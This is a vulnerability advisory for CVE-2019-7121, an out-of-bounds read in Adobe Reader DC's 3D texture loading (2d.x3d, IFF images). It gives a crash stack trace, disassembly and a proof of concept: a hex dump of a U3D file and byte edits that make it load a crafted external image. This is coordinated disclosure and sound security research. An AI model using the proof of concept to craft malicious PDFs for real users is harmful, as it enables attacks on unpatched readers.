CVE: CVE-2019-7121
Tested Versions:
- Adobe Reader DC 2019.010.20064
Product URL(s):
Description of the vulnerability
Adobe Acrobat is a family of application software and Web services developed by Adobe Inc. to view, create, manipulate, print and manage files in Portable Document Format (PDF).
It provides compatibility to the ECMA-363 Standard (Universal 3D File Format) via 3difr.x3d, 2d.x3d and rt3d.dll, which allow viewing embedded 3D contents in PDF files. The ECMA-363 standard allows external texture images to be encoded with the Texture Resource Declaration Block, with options to load either JPEG/PNG images embedded in the PDF file, or other image types from the local file system.
These external image formats include TGA, TIFF, PIC, GIF, BMP, PCX, PPM, IFF, FLI/FLC, RGB, PSD, RLE and CEL. The 2d.x3d module is activated when the users choose to enable 3D content display.
Vulnerabilities in this module do not affect a default installation, however, in certain industry sectors that have frequent exchange of 3D PDF files (e.g., CAD designs), 3D contents may be enabled as default, leaving users vulnerable to this attack vector.
An out-of-bounds read can be observed in the context of the sandboxed process as the logged on user.
# The debugging and analysis were done on an Adobe Reader DC 2019.010.20064.
# The stack trace at crash site:
(13e8.1348): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00003ffb ebx=2ba7f000 ecx=00002cb0 edx=00003ffb esi=24bdc350 edi=0000001c
eip=6a8d48ca esp=001ab234 ebp=001ab2bc iopl=0 nv up ei ng nz na po cy
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010283
2d!png_set_filter_heuristics+0x146c:
6a8d48ca 8a0431 mov al,byte ptr [ecx+esi] ds:002b:24bdf000=??
0:000> kb
# ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
00 001ab2bc 6a8d5195 bef75108 2c89cf90 1c438fb0 2d!png_set_filter_heuristics+0x146c
01 001ab34c 6a8d28d4 1c716fa8 1c556e68 1c438fb0 2d!png_set_filter_heuristics+0x1d37
02 001ab360 6b47779f 00000006 1c716fa8 1c556e68 2d!E3DLLFunc+0xa16
03 001ab380 6b43ae03 2c89cf90 00000006 1c716fa8 rt3d!FILETYPE::Func2d+0x5e
04 001ab808 6b439399 32bc95a8 001abcc0 00000000 rt3d!PrepareRescale+0xac8
05 001ab840 6b46c7fd 32bc95a8 001abcc0 00000000 rt3d!GetPicture+0x2e
06 001aba7c 6b46d50a 32bc95a8 001abcc0 00000000 rt3d!EndPicturesCache+0x5352
07 001abeec 6b46ca3f 32bc94e8 32bc95a8 001ac534 rt3d!EndPicturesCache+0x605f
08 001ac740 6b46ccfa 32bc94e8 00000000 1c438fb0 rt3d!EndPicturesCache+0x5594
09 001ac9a0 6b41fda1 211a8cb0 1c438fb0 00000000 rt3d!EndPicturesCache+0x584f
0a 001ac9c0 6b3a77ea 00000002 1c438fb0 34b233c9 rt3d!e3_SCENE::MovePDVToCameraNode+0xfcd
0b 001ace40 6b373ebd 00000000 1bf38fc8 00000000 rt3d!V4CUnloadRT+0x30b97
0c 001ace58 6cc0c267 1bf38fc8 00000000 001aceac rt3d+0x3ebd
Brief analysis:
0:000> u eip
2d!png_set_filter_heuristics+0x146c:
6a8d48ca 8a0431 mov al,byte ptr [ecx+esi]
6a8d48cd 41 inc ecx
6a8d48ce 88041a mov byte ptr [edx+ebx],al
6a8d48d1 8b45ac mov eax,dword ptr [ebp-54h]
6a8d48d4 8b5da4 mov ebx,dword ptr [ebp-5Ch]
6a8d48d7 40 inc eax
6a8d48d8 47 inc edi
The call stack near crash site is resolved as:
#0 TIF::Read(void)
#1 _LoadILBM(e3_STREAM *, e3_PICTURE *, e3_CONTEXT *)
#2 IFFImport(unsigned int, e3_STREAM *, e3_PICTURE *, e3_interface *)
#3 ...
Proof of Concept
To load external image with shading_M.u3d:
000002f0: 28 7c 3f 00 00 00 00 00 14 ff ff ff 3c 00 00 00 (|?.........<...
00000300: 00 00 00 00 05 00 6c 69 6e 65 73 02 00 00 00 00 ......lines.....
00000310: 00 00 00 00 01 00 00 00 55 ff ff ff 1c 00 00 00 ........U.......
00000320: 00 00 00 00 05 00 6c 69 6e 65 73 00 01 00 00 00 ......lines.....
00000330: 01 00 00 0e 01 00 00 00 01 0e 00 00 52 dc 00 00 ............R...
The following modifications need to be made to the above block:
# Modify the containing Modifier Chain Block (0xFFFFFF14) length:
; shading_M.u3d: change data size field to 0x54 from 0x3C
# Texture Resource Declaration Block (0xFFFFFF55):
; shading_M.u3d: change data size field to 0x34 from 0x1A
# 2d.x3d Image Loading construction from shading_M.u3d
; 05 00 6c 69 6e 65 73 // Texture Name String: "lines"
; 00 01 00 00 // U32: Texture Height
; 00 01 00 00 // U32: Texture Width
; 0e // U8: Texture Image Type: 0x0E color RGB
; 01 00 00 00 // U32: Continuationi Image Count
; // Now the Continuation Image Format record
; 01 // U8: Compression Type 0x01 JPEG-24
; 0e // U8: Texture Image Channels
; 00 00 // U16: Continuation Image Attributes: default
; 52 dc 00 00 // U32: Image Data Byte Count
# Modify to the following:
; 05 00 6c 69 6e 65 73 // Texture Name String: "lines"
; 00 01 00 00 // U32: Texture Height
; 00 01 00 00 // U32: Texture Width
; 0e // U8: Texture Image Type: 0x0E color RGB
; 01 00 00 00 // U32: Continuationi Image Count
; // Now the Continuation Image Format record:
; 02 // U8: Compression Type 0x02 PNG
; 0e // U8: Texture Image Channels
; 01 00 // U16: Continuation Image Attributes: external
; 01 00 00 00 // U32: Image URL Count 1
; // 0x16 bytes string "httpAAAAAAAsynAA12.iff"
; 16 00 68 74 74 70 41 41 41 41 41 41 41 73 79 6e 41 41 31 32 2e 69 66 66
Timeline:
- 2019-01-25 Vendor disclosure
- 2019-04-09 Vendor patched
Vendor Response
The vendor has acknowledged the issue and released an update to address it.
The vendor’s advisory can be found here: APSB19-17.